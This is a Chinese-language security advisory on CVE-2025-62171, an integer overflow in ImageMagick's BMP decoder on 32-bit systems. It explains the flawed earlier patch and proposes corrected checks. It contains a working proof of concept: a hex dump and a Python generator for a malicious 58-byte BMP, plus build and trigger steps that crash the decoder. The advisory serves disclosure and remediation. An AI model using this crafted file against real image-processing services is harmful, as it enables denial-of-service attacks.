ImageMagick BMP解码器整数溢出漏洞分析与修复

本文详细分析了ImageMagick BMP解码器中存在的整数溢出漏洞CVE-2025-62171,包括漏洞原理、影响版本、攻击向量、PoC构造方法以及修复建议,涉及32位系统的安全风险。

ImageMagick BMP解码器整数溢出漏洞(CVE-2025-62171)

漏洞详情

包信息

  • 包管理器:nuget
  • 受影响包:Magick.NET-Q16-AnyCPU、Magick.NET-Q16-HDRI-AnyCPU等
  • 受影响版本:< 14.9.0
  • 已修复版本:14.9.0

漏洞描述

摘要 CVE-2025-57803声称在ImageMagick 7.1.2-2中已修复,但该修复不完整且无效。最新版本7.1.2-5仍然容易受到相同的整数溢出攻击。

补丁添加了BMPOverflowCheck(),但将其放置在溢出发生之后,使其无效。一个恶意的58字节BMP文件可以触发AddressSanitizer崩溃和拒绝服务。

受影响版本

  • ImageMagick < 7.1.2-2(最初报告)
  • ImageMagick 7.1.2-2 至 7.1.2-5(补丁不完整)

平台和配置要求

  • 仅限32位系统(i386、i686、armv7l等)
  • 需要size_t = 4字节(64位系统不易受攻击,size_t = 8字节)
  • 需要修改资源限制:必须手动增加默认的宽度、高度和区域限制(使用默认ImageMagick资源限制的系统不易受攻击)

详细分析(根本原因分析)

易受攻击的代码位置 文件:coders/bmp.c 行号:1120-1122(版本7.1.2-5中)

不完整的补丁

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// 第1120行:整数溢出发生在此处
extent = image->columns * bmp_info.bits_per_pixel;  // 溢出!

// 第1121行:使用已溢出的值
bytes_per_line = 4*((extent+31)/32);

// 第1122行:检查结果,而不是乘法
if (BMPOverflowCheck(bytes_per_line, image->rows) != MagickFalse)
    ThrowReaderException(CorruptImageError, "InsufficientImageDataInFile");

补丁失败的原因 攻击向量(32位系统): 输入BMP头:

  • 宽度:536,870,912(0x20000000)
  • 高度:1
  • 每像素位数:32

32位系统上的计算:

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extent = 536,870,912 × 32
       = 17,179,869,184 (0x400000000)

32位截断:
0x400000000 & 0xFFFFFFFF = 0x00000000 ← 溢出为零!

bytes_per_line = 4 × ((0 + 31) / 32)
               = 4 × 0
               = 0

BMPOverflowCheck(0, 1):
  return (1 != 0) && (0 > 4294967295UL/1)
  return True && (0 > 4294967295)
  return True && False
  return False ← 未检测到溢出!

检查失败是因为:

  • 溢出发生在第1120行(extent计算)
  • extent由于32位截断变为0
  • bytes_per_line计算为0(第1121行)
  • BMPOverflowCheck(0, 1)返回False(未检测到溢出)
  • 代码继续使用损坏的值 → ASan崩溃

PoC(概念验证)

最小58字节BMP文件 十六进制转储:

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00000000  42 4d 3a 00 00 00 00 00  00 00 36 00 00 00 28 00  |BM:.......6...(.|
00000010  00 00 00 00 00 20 01 00  00 00 01 00 20 00 00 00  |..... ...... ...|
00000020  00 00 00 00 00 00 13 0b  00 00 13 0b 00 00 00 00  |................|
00000030  00 00 00 00 00 00 00 00  00 00                    |..........|

关键字段:

  • 偏移0x12:宽度 = 00 00 00 20 = 0x20000000(536,870,912)
  • 偏移0x16:高度 = 01 00 00 00 = 1
  • 偏移0x1C:BPP = 20 00 = 32

Python生成器

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#!/usr/bin/env python3
import struct

width = 0x20000000   # 536,870,912
height = 1
bpp = 32

# BMP文件头(14字节)
file_header = b'BM'
file_header += struct.pack('<I', 58)      # 文件大小
file_header += struct.pack('<HH', 0, 0)   # 保留
file_header += struct.pack('<I', 54)      # 像素偏移

# DIB头(40字节)
dib_header = struct.pack('<I', 40)        # 头大小
dib_header += struct.pack('<i', width)    # 宽度
dib_header += struct.pack('<i', height)   # 高度
dib_header += struct.pack('<H', 1)        # 平面
dib_header += struct.pack('<H', bpp)      # BPP
dib_header += struct.pack('<I', 0)        # 压缩
dib_header += struct.pack('<I', 0)        # 图像大小
dib_header += struct.pack('<i', 2835)     # X ppm
dib_header += struct.pack('<i', 2835)     # Y ppm
dib_header += struct.pack('<I', 0)        # 颜色
dib_header += struct.pack('<I', 0)        # 重要颜色

pixel_data = b'\x00\x00\x00\x00'

with open('overflow.bmp', 'wb') as f:
    f.write(file_header + dib_header + pixel_data)

print(f"Created overflow.bmp (58 bytes)")

重现步骤 环境设置:

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# 使用32位Docker容器
docker run -it --name test-32bit i386/ubuntu:latest bash

# 安装依赖
apt-get update
apt-get install -y clang build-essential wget tar \
    libpng-dev libjpeg-dev libfreetype6-dev libxml2-dev \
    zlib1g-dev liblzma-dev libbz2-dev

# 下载ImageMagick 7.1.2-5
cd /tmp
wget https://github.com/ImageMagick/ImageMagick/archive/refs/tags/7.1.2-5.tar.gz
tar xzf 7.1.2-5.tar.gz
cd ImageMagick-7.1.2-5

使用AddressSanitizer构建(32位重要!):

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# 配置32位构建(关键 - 必须是32位!)
./configure \
    --host=i686-pc-linux-gnu \
    --disable-dependency-tracking \
    --disable-silent-rules \
    --disable-shared \
    --disable-openmp \
    --disable-docs \
    --without-x \
    --without-perl \
    --without-magick-plus-plus \
    --without-lqr \
    --without-zstd \
    --without-tiff \
    --with-quantum-depth=8 \
    --disable-hdri \
    CFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \
    CXXFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \
    LDFLAGS="-fsanitize=address,undefined"

make -j$(nproc)

触发漏洞

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# 设置环境以绕过cache.c限制
export ASAN_OPTIONS="detect_leaks=0:malloc_context_size=20:allocator_may_return_null=1"
export MAGICK_WIDTH_LIMIT=2000000000
export MAGICK_HEIGHT_LIMIT=2000000000
export MAGICK_AREA_LIMIT=10000000000

# 使用恶意BMP测试(使用上面的Python脚本创建)
./utilities/magick identify overflow.bmp

AddressSanitizer输出

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==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asan_poisoning.cc:37 
"((AddrIsInMem(addr + size - (1ULL << kDefaultShadowScale)))) != (0)" (0x0, 0x0)
=================================================================
==56720==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/asan/asan_descriptions.cc:80 
"((0 && "Address is not in memory and not in shadow?")) != (0)" (0x0, 0x0)
==56720==WARNING: ASan is ignoring requested __asan_handle_no_return: 
stack top: 0x40801000; bottom 0x4372f000; size: 0xfd0d2000 (-49471488)
False positive error reports may follow

它在以下环境中运行:

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export MAGICK_WIDTH_LIMIT=2000000000
export MAGICK_HEIGHT_LIMIT=2000000000
export MAGICK_AREA_LIMIT=10000000000

影响

攻击场景

  • 攻击者创建58字节的恶意BMP文件
  • 上传到使用ImageMagick的Web服务(在32位系统上)
  • ImageMagick尝试处理图像
  • 整数溢出触发AddressSanitizer崩溃
  • 服务变得不可用(拒绝服务)

现实世界目标

  • 具有图像处理功能的Web托管平台
  • 具有缩略图生成功能的CDN服务
  • 传统嵌入式系统
  • 运行32位Linux的IoT设备
  • 使用32位基础镜像的Docker容器

建议修复

正确的补丁 溢出检查必须在乘法之前进行:

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// 在计算extent之前添加溢出检查
if (BMPOverflowCheck(image->columns, bmp_info.bits_per_pixel) != MagickFalse)
    ThrowReaderException(CorruptImageError, "IntegerOverflowInDimensions");

// 现在安全计算
extent = image->columns * bmp_info.bits_per_pixel;
bytes_per_line = 4*((extent+31)/32);

// 额外的安全检查
if (BMPOverflowCheck(bytes_per_line, image->rows) != MagickFalse)
    ThrowReaderException(CorruptImageError, "InsufficientImageDataInFile");

替代方案:使用64位算术

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// 强制64位计算
uint64_t extent_64 = (uint64_t)image->columns * (uint64_t)bmp_info.bits_per_pixel;

if (extent_64 > UINT32_MAX)
    ThrowReaderException(CorruptImageError, "ImageDimensionsTooLarge");

extent = (size_t)extent_64;
bytes_per_line = 4*((extent+31)/32);

致谢

wooseokdotkim wooseokdotkim@gmail.com

参考

安全评分

  • 严重程度:中等
  • CVSS总体评分:4.4/10
  • CVSS v3基础指标:AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:N/A:H
  • EPSS评分:0.049%(第15百分位)

弱点

  • CWE-190:整数溢出或回绕
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